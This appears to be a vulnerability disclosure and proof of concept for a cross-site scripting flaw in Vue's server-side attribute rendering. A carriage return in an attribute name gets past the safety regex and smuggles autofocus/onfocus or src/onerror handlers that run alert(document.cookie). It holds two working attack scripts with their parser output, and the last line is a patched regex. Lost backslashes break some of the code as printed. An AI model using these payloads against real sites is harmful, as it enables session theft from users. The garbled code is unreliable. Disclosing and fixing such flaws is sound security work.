export function ssrRenderDynamicAttr(
 key: string,
 value: unknown,
 tag?: string,
): string {
 if (!isRenderableAttrValue(value)) {
  return ``
 }
 const attrKey = ...
 if (isBooleanAttr(attrKey) || ...) {
  return includeBooleanAttr(value) ? ` ${attrKey}` : ``
 } else if (isSSRSafeAttrName(attrKey)) {
  return value === '' ? ` ${attrKey}` : ` ${attrKey}="${escapeHtml(value)}"`
 } else {
  console.warn(`[@vue/server-renderer] Skipped rendering unsafe attribute name: ${attrKey}`)
  return ``
 }
}

// packages/shared/src/domAttrConfig.ts
const unsafeAttrCharRE = /[>/="'u0009u000au000cu0020]/

export function isSSRSafeAttrName(name: string): boolean {
 if (attrValidationCache.hasOwnProperty(name)) {
  return attrValidationCache[name]
 }
 const isUnsafe = unsafeAttrCharRE.test(name)
 if (isUnsafe) {
  console.error(`unsafe attribute name: ${name}`)
 }
 return (attrValidationCache[name] = !isUnsafe)
}

import { ssrRenderAttrs } from '@vue/server-renderer';
import { parseFragment } from 'parse5';

// This is exactly what compiled SSR output calls for `<div v-bind="userObject">`
// -- the real, unmodified, published ssrRenderAttrs function.
// Full attack chain: the key itself contains ONLY letters, digits, and a
// bare r (carriage return) -- no '>', '/', '=', '"', "'", tab, LF, FF, or
// space anywhere, so isSSRSafeAttrName() considers it fully safe. The value
// is attacker-controlled JavaScript, delivered as the genuine value of the
// LAST r-separated fragment, which Vue's own template naturally appends via
// `="${escapeHtml(value)}"` immediately after the key.
const maliciousKey = 'xrautofocusronfocus';
const props = {
 [maliciousKey]: 'alert(document.cookie)',
};

const rawAttrString = ssrRenderAttrs(props);
console.log('=== Raw string produced by the real ssrRenderAttrs() ===');
console.log(JSON.stringify(rawAttrString));
console.log();
console.log('=== As it would literally appear in the HTML response ===');
console.log(rawAttrString.replace(/r/g, 'r').replace(/
/g, '

'));

const fullHtml = `<div${rawAttrString}>content</div>`;
console.log();
console.log('=== Full element HTML ===');
console.log(JSON.stringify(fullHtml));

// Now parse this EXACT output with parse5 -- a real, spec-compliant HTML5
// parser (the same parsing algorithm real browsers implement, including the
// r
 -> 
 input-preprocessing normalization step).
const fragment = parseFragment(fullHtml);
const div = fragment.childNodes.find(n => n.tagName === 'div');
console.log();
console.log('=== How a real HTML5 parser (parse5) actually interprets this ===');
console.log('Attributes parsed on the <div>:');
for (const attr of div.attrs) {
 console.log(` ${JSON.stringify(attr.name)} = ${JSON.stringify(attr.value)}`);
}

const injectedHandler = div.attrs.find(a => a.name === 'onfocus');
const injectedAutofocus = div.attrs.find(a => a.name === 'autofocus');
console.log();
if (injectedHandler && injectedAutofocus) {
 console.log('*** CONFIRMED: real, separate "autofocus" and "onfocus" attributes were parsed out ***');
 console.log(`*** onfocus value: ${JSON.stringify(injectedHandler.value)} ***`);
 console.log('*** This element will execute the attacker JS automatically on page load, no user interaction needed. ***');
} else {
 console.log('Not confirmed.');
}

=== Raw string produced by the real ssrRenderAttrs() ===
" xrautofocusronfocus="alert(document.cookie)""

=== Full element HTML ===
"<div xrautofocusronfocus="alert(document.cookie)">content</div>"

=== How a real HTML5 parser (parse5) actually interprets this ===
Attributes parsed on the <div>:
 "x" = ""
 "autofocus" = ""
 "onfocus" = "alert(document.cookie)"

*** CONFIRMED: real, separate "autofocus" and "onfocus" attributes were parsed out ***
*** onfocus value: "alert(document.cookie)" ***

import { ssrRenderAttrs } from '@vue/server-renderer';
import fs from 'fs';

// This is the ACTUAL, unmodified ssrRenderAttrs() from the real, installed
// @vue/server-renderer@3.5.41 -- nothing hand-typed below this line is HTML,
// it is Vue's own function's real return value, captured programmatically.
const maliciousKey = 'xrsrcronerror';
const props = { [maliciousKey]: 'alert("REAL Vue SSR output executed this -- cookie: " + document.cookie)' };

const vueOutput = ssrRenderAttrs(props);

console.log('=== Vue's real ssrRenderAttrs() returned exactly this string ===');
console.log(JSON.stringify(vueOutput));

// Build the full page around Vue's UNMODIFIED output -- the <img ...> tag
// content between the angle brackets is copied byte-for-byte from vueOutput,
// not retyped.
const html = `<!DOCTYPE html>
<html>
<head><title>Vue SSR PoC -- byte-for-byte Vue output</title></head>
<body>
<h3>Everything inside the &lt;img&gt; tag below was written to this file
programmatically from the real return value of <code>ssrRenderAttrs()</code>
in the actual installed <code>@vue/server-renderer@3.5.41</code> package.
No HTML was hand-typed for the tag itself.</h3>
<p>Exact JSON-escaped string Vue's function returned (see generate real poc.mjs, run right before this file was written):</p>
<pre id="vue-output-proof">${vueOutput.replace(/</g, '&lt;')}</pre>
<hr>
<img${vueOutput}>
</body>
</html>
`;

const outPath = '/Users/onevilx/Desktop/vue-ssr-xss-poc-real.html';
fs.writeFileSync(outPath, html);
console.log('
Wrote', outPath);
console.log('Bytes inside the <img...> tag are Vue's real, unmodified return value.');

const unsafeAttrCharRE = /[>/="'u0009u000au000cu000du0020]/